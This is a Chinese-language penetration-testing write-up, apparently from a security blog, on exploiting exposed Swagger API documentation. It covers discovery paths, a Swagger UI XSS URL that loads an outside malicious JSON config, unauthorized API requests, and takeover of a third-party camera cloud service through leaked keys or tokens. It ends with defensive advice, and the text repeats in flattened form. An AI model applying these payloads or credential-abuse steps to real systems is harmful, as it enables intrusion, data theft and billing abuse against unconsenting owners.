记一次swagger的深度测试造成第三方API服务接管
字数 1148 2025-08-30 06:50:27

Swagger接口安全测试与第三方API服务接管实战指南

一、Swagger接口发现与识别

1.1 常见Swagger接口路径特征

在渗透测试中,可通过以下常见路径特征识别Swagger接口:

  • /api/v1/api/v2
  • /api/apis
  • /swagger-ui.html
  • /api-docs

典型示例:

https://www.xxxtest.com/api/v1
https://www.xxxtest.com/api/v1/swagger-ui.html
https://www.xxxtest.com/api/v1/api-docs

1.2 自动化扫描工具推荐

推荐使用springboot-scan工具进行目录扫描:

https://github.com/AabyssZG/SpringBoot-Scan

二、Swagger接口安全漏洞利用

2.1 Swagger UI XSS漏洞(低版本通杀)

漏洞特征

  • 影响低版本Swagger UI
  • 成功率约60%

利用方式
通过configUrl参数引入外部恶意JSON配置:

https://www.xxxtest.com/api/v1/swagger-ui.html?configUrl=https://xss.smarpo.com/test.json

测试链接

https://xss.smarpo.com/test.json

2.2 未授权接口访问

利用流程

  1. 访问Swagger文档页面获取API接口列表
  2. 提取接口信息(如示例中的/apis/site/addAsset等)
  3. 构造请求测试接口是否未授权

请求示例

POST /apis/site/siteActivityList HTTP/1.1
Host: XXXX
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/json; charset=utf-8
Content-Length: 2

{}

三、第三方API服务接管技术

3.1 接管原理

企业购买第三方服务(如萤石云服务)后,通过以下凭证访问:

  1. Key & Secret:用于生成access_token的长期凭证
  2. Access Token:有时效性的访问令牌

3.2 两种接管方式

  1. 获取Key和Secret

    • 通过Swagger文档泄露或其他途径获取
    • 可自行生成任意access_token
    • 危害性极大
  2. 仅获取Access Token

    • 虽然有时效性
    • 但在有效期内仍可滥用服务

3.3 实战案例:萤石云服务接管

步骤

  1. 从Swagger文档中发现第三方API接口描述
  2. 构造请求获取萤石云服务的access_token
  3. 验证token有效性:
    • 访问萤石云开放平台文档:
      https://open.ys7.com/help/81
      https://help.eziot.com/help/629
      
    • 按照文档格式构造请求
    • 携带获取的access_token调用API

风险影响

  • 滥用第三方服务接口
  • 产生额外费用
  • 可能获取敏感数据

四、防御建议

  1. Swagger接口保护

    • 生产环境禁用Swagger UI
    • 添加身份验证
    • 升级到最新版本
  2. API访问控制

    • 实施严格的权限控制
    • 使用API网关进行访问管理
    • 监控异常API调用
  3. 第三方服务凭证保护

    • 避免在客户端存储Key/Secret
    • 使用短期有效的access_token
    • 设置调用频率限制
    • 定期轮换凭证
  4. 安全审计

    • 定期检查接口文档泄露
    • 监控第三方服务使用情况
    • 设置费用告警阈值

五、总结

通过Swagger接口文档泄露可导致:

  1. XSS攻击(低版本Swagger UI)
  2. 未授权API访问
  3. 第三方服务凭证泄露
  4. 第三方API服务接管

安全团队应特别关注Swagger文档和第三方API凭证的保护,防止因配置不当导致严重安全事件。

Swagger接口安全测试与第三方API服务接管实战指南 一、Swagger接口发现与识别 1.1 常见Swagger接口路径特征 在渗透测试中,可通过以下常见路径特征识别Swagger接口: /api/v1 或 /api/v2 /api 或 /apis /swagger-ui.html /api-docs 典型示例: 1.2 自动化扫描工具推荐 推荐使用 springboot-scan 工具进行目录扫描: 二、Swagger接口安全漏洞利用 2.1 Swagger UI XSS漏洞(低版本通杀) 漏洞特征 : 影响低版本Swagger UI 成功率约60% 利用方式 : 通过 configUrl 参数引入外部恶意JSON配置: 测试链接 : 2.2 未授权接口访问 利用流程 : 访问Swagger文档页面获取API接口列表 提取接口信息(如示例中的 /apis/site/addAsset 等) 构造请求测试接口是否未授权 请求示例 : 三、第三方API服务接管技术 3.1 接管原理 企业购买第三方服务(如萤石云服务)后,通过以下凭证访问: Key & Secret :用于生成access_ token的长期凭证 Access Token :有时效性的访问令牌 3.2 两种接管方式 获取Key和Secret : 通过Swagger文档泄露或其他途径获取 可自行生成任意access_ token 危害性极大 仅获取Access Token : 虽然有时效性 但在有效期内仍可滥用服务 3.3 实战案例:萤石云服务接管 步骤 : 从Swagger文档中发现第三方API接口描述 构造请求获取萤石云服务的access_ token 验证token有效性: 访问萤石云开放平台文档: 按照文档格式构造请求 携带获取的access_ token调用API 风险影响 : 滥用第三方服务接口 产生额外费用 可能获取敏感数据 四、防御建议 Swagger接口保护 : 生产环境禁用Swagger UI 添加身份验证 升级到最新版本 API访问控制 : 实施严格的权限控制 使用API网关进行访问管理 监控异常API调用 第三方服务凭证保护 : 避免在客户端存储Key/Secret 使用短期有效的access_ token 设置调用频率限制 定期轮换凭证 安全审计 : 定期检查接口文档泄露 监控第三方服务使用情况 设置费用告警阈值 五、总结 通过Swagger接口文档泄露可导致: XSS攻击(低版本Swagger UI) 未授权API访问 第三方服务凭证泄露 第三方API服务接管 安全团队应特别关注Swagger文档和第三方API凭证的保护,防止因配置不当导致严重安全事件。